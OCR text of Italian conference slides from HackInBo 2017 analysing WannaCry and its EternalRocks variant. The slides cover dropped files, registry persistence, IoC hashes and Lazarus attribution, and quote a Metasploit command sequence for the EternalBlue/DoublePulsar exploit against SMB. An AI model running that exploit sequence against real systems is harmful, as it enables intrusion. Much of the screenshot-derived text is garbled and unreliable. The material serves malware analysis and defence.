T Q 1'2‘ [j‘ e g S search [ Folders  [FEE]- |5 | Sincronizzazione cartella cechnry s oy
» Shorteut 37
Other Places e 0B 718

Address | =) C:\intel\dehbzetcdavna358 TaskDatalTor [v] @

g =l 00000000 pky 00000000. ¢ ﬂif;ﬁ:{:m o »{‘EEI’QWW L
{33 My Documents KY File RES File Sibeay 33 dil 37KB 7 KE
R My Computer 1KE 1.0.2.1 lbevent-2-0-5.dl
Dpensal. shared lbrary m_flipino.wnry m_finnish.wnry
€9 My Network Places nry wnry (7 Make a new folder WNRY File WINRY File
3768 BB

) Publish this folder to the
Web

libevent_core-2-0-5.dll m_french.wnry

RY Fie
33KB

m_german.wnry
RY File
KB

f‘,%"{?me . [? Share this folder
1KB

37

m_greek.wnry m_indonesian.wnry
wnry nry libgce_s_sjli-1.dll libssp-0.dil Wi ]
WNRY Fil Other Places - s
2.958KB KB -
TaskData ital
o (= ssieay32.dl it m Japanese.rry
SQL Client Configuration Ui, .. ({5} My Documents 1.0.2.11 taskhsve.exe oy e

Microsoft Corporation Microsoft Ce OpensSSL shared library

i My Computer
&3 My Network Places

m_korean.wnry
WNRY File

m_latvian. wry
WNRY Flle
41KE

taskse.exe
waitfor - wait/send a signal o
Microsoft Corporation

wwnry .
NRY File zlib 1.dl
40 KB tor.exe 1.2.8.0
7ib data compression ibrary

& [ [

|
|

lbevent_extra-2-0-5.dl ]
g

|

|

|

N

m_norwegian. wrry m_polish.wnry
WINRY Fie WNRY File
1,26 M8 4§ My Computer

10 objects 11,8 M8 9 My Computer
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Persistenza

Hegistry Editor
Ele Edit View Favorites Help
P ] ;aRun bl Mame Type Data
-~ [ Runonce @(Daﬁult} REG_SZ (value naot set)
% RunOncebx lehbzetcdaw REG_SZ “Ci\Intel\jdehbzetcdavnjg 358 tasksche . exe™
= ::m" = [ab]Postcapy REG_SZ CHWINDOWS s ystem 32\BELKIN\F 5D 5050 PostCopy exe
: e [ab]vBoxTray REG_SZ C:WINDOWS\system 32\VBoxTray.exe

- [#-{2] Shell Extensions

! (27 shellcompatibility

] (2 shellscrap

i (21 shellserviceObjectDelaylLoad

(21 sSideBySide =
(23 sMDEn

H {Z2 syncmar

: (23 Telephony M

My Computer\HKEY_LOCAL_MACHINE\SOFTWARE WMicrosoft\Windows \Currentversion\Run

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run



HacklnBo Winter Edition 2017

Da analisi successive

Cifra 177 tipologie di file

wnry, .wcry, .wncry, .wncrypt

RSA-2048 encryption keys with AES-128 encryption
SMB Exploit (MS-17010) EternalBlue

Sezione Resources contiene un pacchetto eseguibile
TORC&C

Diversi indirizzi Bitcoin

DNS Kill-Switch

Persistenza garantita tramite registro di sistema
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Tipo

FILENAME
FILENAME
FILENAME
FILENAME
FILENAME
FILENAME
FILENAME
FILENAME
FILENAME
FILENAME
FILENAME
FILENAME
FILENAME
FILENAME
FILENAME
FILENAME
FILENAME
FILENAME
FILENAME
FILENAME

Informazioni condivise

‘W‘m‘\l‘m‘““b|w‘*"—‘

=

N

e News

o  https://www.cert-pa.it/web/guest/news?id=8342
e News

o  https://www.cert-pa.it/web/guest/news?id=8382
e Info

N

@

i~

e e
2|88

Valore

_WanaDecryptor_exe
@Please Read Me@.txt
@WanaDecryplor@.exe

%Lemplo\b, Wy

%tempioe wmy

%temptm.vbs

176641494574290.bat
2584E1521065E45EC3C17767C065429038FC6291C091097EA8B22C8A502C41DD.dat
8dd63adb68ef053e044a5a2f46e0d2cd.virus
b9c5.bin
b9c5d4339809e0ad9a00d4d3dd26fdf44a32819a54abf846bb9b560d81391c25
cwnry.

cliconfg.exe

Cmd.Exe

diskpart.exe

dvdplay

findstr

kbdly (3.13)

Ihdfrgui.exe

localfile~

o  https://www.cert-pa.it/documents/10184/0/Consigli WCry_CERT-PA6.pdf

e |oC

o  https://www.cert-pa.it/documents/10184/0/WCry.loC.015.infosharing.xIsx
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- L
EternalBlue e Metasploit P

EternalBlue: Metasploit Module for MS17-010

[E| Blog Post created by leonardovarela F) on May 19, 2017

e msf > use windows/smb/eternalblue_doublepulsar

e msf > exploit (eternalblue_doublepulsar) > set eternalbluepath
root/Desktop/Eternalblue-Doublepulsar-Metasploit/deps

e msf >exploit (eternalblue_doublepulsar) > set doublepulsarpath

root/Desktop//Eternalblue-Doublepulsar-Metasploit/deps

msf > exploit (eternalblue_doublepulsar) > set targetarchitecture x64

msf > exploit (eternalblue_doublepulsar) > set processinject Isass.exe

msf > exploit (eternalblue_doublepulsar) > set |host 192.168.1.2

msf > exploit (eternalblue_doublepulsar) > set rhost 192.168.1.3

msf > exploit (eternalblue_doublepulsar) > exploit

—~ o~ o~ o~
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EternalRocks - WannaCry Evolution

e EternalRocks € la versione avanzata di WannaCry

e Oltregliexploit di WannaCry (EternalBlue e DoublePulsar) sfrutta altri exploit:
o EternalChampion;

EternalRomance;

EternalSynergy;

ArchiTouch;

SMBTouch.

o O O O
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EternalRocks in due Step

1° STEP: Download TOR client per raggiungere il C&C
2° STEP: Dopo 24h arrivalarisposta dal C&C che invia un pacchetto denominato

«shadowbrokers.zip»

[—] SharpZLib <DIR>
[ TeskScheduler =DIR=
B temp =DIR=>
B Tor =DIR=>
7| ICSharpCode.SharpZipLib dil 196.0 KiB

installed fgh 1B

7| Microsoft.Win32 TaskScheduler dil 340.5 KiB
required glo 574 B

|| SharpZLib zip 443.4 KiB
. svchost exe 296.5 KiB
B taskhost exe 58.0 KiB

[l TaskScheduler zip 869.5 KiB

05/17/17 03:33 PM
05/17/17 03:33 PM
05/17/17 03:33 PM
05/17/17 03:34 PM
01/03/11 01:16 PM
05/17/17 03:33 PM
04/07/17 05:06 PM
05/17/17 03:33 PM
05/17/17 03:33 PM
05/17/17 03:33 PM
05/17/17 03:33 PM
05/17/17 03:33 PM

4 BN B



HacklnBo Winter Edition 2017

EternalRocks nuova variante

=+ Gianni Amato
~ @guelfoweb

#eternalrocks

c52f20a854efb013a0a1248id84aaad5 questa

variante non attende 24h, ha lo
offuscato con ConfuserEx 1.0.

00504290/00
005042A016C
005042B0JAS

67 65 74 5F 54 6F 64

005042D0|08
005042E0]|00
005042F0|11

00
30

03
03

06
00

1D
00

05
01

03
04

06
00

zip dentro, &

61 79 00 53 65 74

D2 AB (6

56 .get_Today.SetVa

00 01 04
06 12 09
09 00 04

11
01

2C
01

03
1C

63
02
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|
v Symantec Official Blog

SI m I lltud I n I WannacCry: Ransomware attacks show strong links to
Lazarus group
Similarities in code and infrastructure indicate close connection to group that was linked to Sony
Pictures and Bangladesh Bank attacks

Neel Mehta, ricercatore di Google, ha trovato

alcune somiglianze tra una delle prime varianti di ﬂ Matthieu Suiche & ‘7“ —— ‘

. + [@msuiche LB
WannaCry e una Backdoor usata in passato dal -
gruppo hacker Lazarus, noto per gli attacchi del Similitude between #WannaCry and
Contopee from Lazarus Group ! thx
2014 contro Sony.

@neelmehta - Is DPRK behind #WannaCry ?

& Traduci dalla lingua originale: inglese

Siritiene, ma non vi € conferma, che il gruppo
Lazarus fosse legato alla Corea del Nord. Symantec
ha approfondito I'argomento riportando alcune
evidenze.



https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group
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Chi sono i colpevoli?

| veri colpevoli sono coloro i quali hanno lasciato esposti
e vulnerabili i propri sistemi.



HacklnBo Winter Edition 2017

Grazie per l'attenzione!



